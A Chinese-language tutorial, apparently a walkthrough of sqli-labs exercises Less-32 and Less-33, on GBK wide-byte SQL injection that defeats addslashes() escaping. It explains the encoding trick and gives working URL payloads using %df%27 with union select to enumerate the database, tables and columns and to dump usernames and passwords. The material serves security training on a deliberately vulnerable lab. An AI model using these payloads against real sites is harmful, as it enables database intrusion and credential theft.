宽字节注入
原理
mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个 ascii 码大于 128 才能到汉字的范围)。我们在过滤 ’ 的时候,往往利用的思路是将‘转换为\’(转换的函数或者思路会在每一关遇到的时候介绍)。
PHP 自带一些转义特殊字符的函数,如addslashes(),mysql_real_escape_string(),mysql_escape_string()等,这些函数可用来防止 SQL 注入。
如id=1’or’1’=’1,单引号本用来闭合语句,这些函数会自动转义这些闭合的单引号,在这些单引号前面加上转义符\,变为1'or'1'='1,如此在 SQL 查询中是一个普通的字符串,不能进行注入。
而网站在过滤’的时候,通常的思路就是将’转换为',因此我们在此想办法将’前面添加的\去掉,一般有两种思路:
%bb吃掉\
如果程序的默认字符集是GBK等宽字节字符集,就有可能产生宽字节注入,绕过上述过滤。
若在 PHP 中使用mysql_query(“set names gbk”)将默认字符集设为GBK,而使用addslashes()转义用户输入,这时如果用户输入%bb%27,则addslashes()会在%27前面加上一个%5c字符,即转义字符\。
而 MySQL 在使用GBK编码时,会认为两个字符为一个汉字,%bb%5c是一个宽字符(前一个 ASCII 码大于 128 才能到汉字的范围),也就是籠,也就是说%bb%5c%27=籠’,这样单引号就未被转义能闭合语句,从而产生 SQL 注入。%bb并不是唯一一个可以产生宽字节注入的字符,理论上%81-%FE均可。
过滤'中的
构造%bb%5c%5c%27,addslashes()会在两个%5c和%27前都加上\即%5c,变为%bb %5c%5c %5c%5c %5c%27,但宽字符集认为%bb%5c是一个字符即籠,则变为%bb%5c %5c%5c %5c%5c %27即\',四个\正好转义为两个\,即’未被转义。这也是 bypass 的一种方法。
Less-32
GET-绕过自定义筛选器,将斜杠添加到危险字符。即基于错误_GET_单引号_字符型_转义引号反斜杠_宽字节注入
可以看到这个函数是个过滤\、’、”的函数,分别在前面加上\
注意:
GET型的方式我们是以url形式提交的,因此数据会通过url编码,其实url编码就是一个字符ascii码的十六进制。不过稍微有些变动,需要在前面加上“%”。比如“\”,它的ascii码是92,92的十六进制是5c,所以“\”的url编码就是%5c。那么汉字的url编码呢?很简单,看例子:“胡”的ascii码是 -17670,十六进制是BAFA,url编码是“%BA%FA”。 (汉字转ASCII码:默认情况下,是使用扩展ASCII,第一个字节为负数时(或理解为127以上)是识别,加后一个字节共两个字节。想了解更多自行查阅资料)
那么我们输入1%df%27,被转义为1�',经过url编码后为%31%df%5c%27,然后提交给数据库,在使用GBK编码的数据库会进行解码,于是变成了1瀿’ df5c就是一个宽字符,我不知道是啥汉字就用了’瀿’来代替,再说一下这个�是乱码,原因是两个不同字符集编码转换问题导致的(比如:GBK和Unicode))
?id=1%df%27–+
已经确定了单引号闭合且宽字节注入可以绕过,剩下的就是正常的注入,无其他过滤条件。
因未过滤注释,所以只有开头的单引号需要宽字节注入。
暴库:
?id=-1%df%27 union select 1,2,database()–+
暴表:
?id=-1%df%27 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()–+
或者:(将security转换为16进制)
?id=-1%df%27 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479–+
暴字段:
user转换为16进制:0x7573657273
?id=-1%df%27 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273 and table_schema=0x7365637572697479–+
暴数据:
?id=-1%df%27 union select 1,group_concat(username,0x7e,password),3 from security.users–+
Less-33
GET型-绕过AddSlashes()函数
本关直接使用了 PHP 的addslashes()函数,
addslashes()与stripslashes()函数
addslashes(string)函数返回在预定义字符之前添加反斜杠\的字符串:
单引号 ‘
双引号 “
反斜杠
空字符 NULL
该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。
注意:默认地,PHP对所有的GET、POST和COOKIE数据自动运行addslashes()。所以不应对已转义过的字符串使用addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数get_magic_quotes_gpc()进行检测。
stripslashes(string)函数删除由addslashes()函数添加的反斜杠。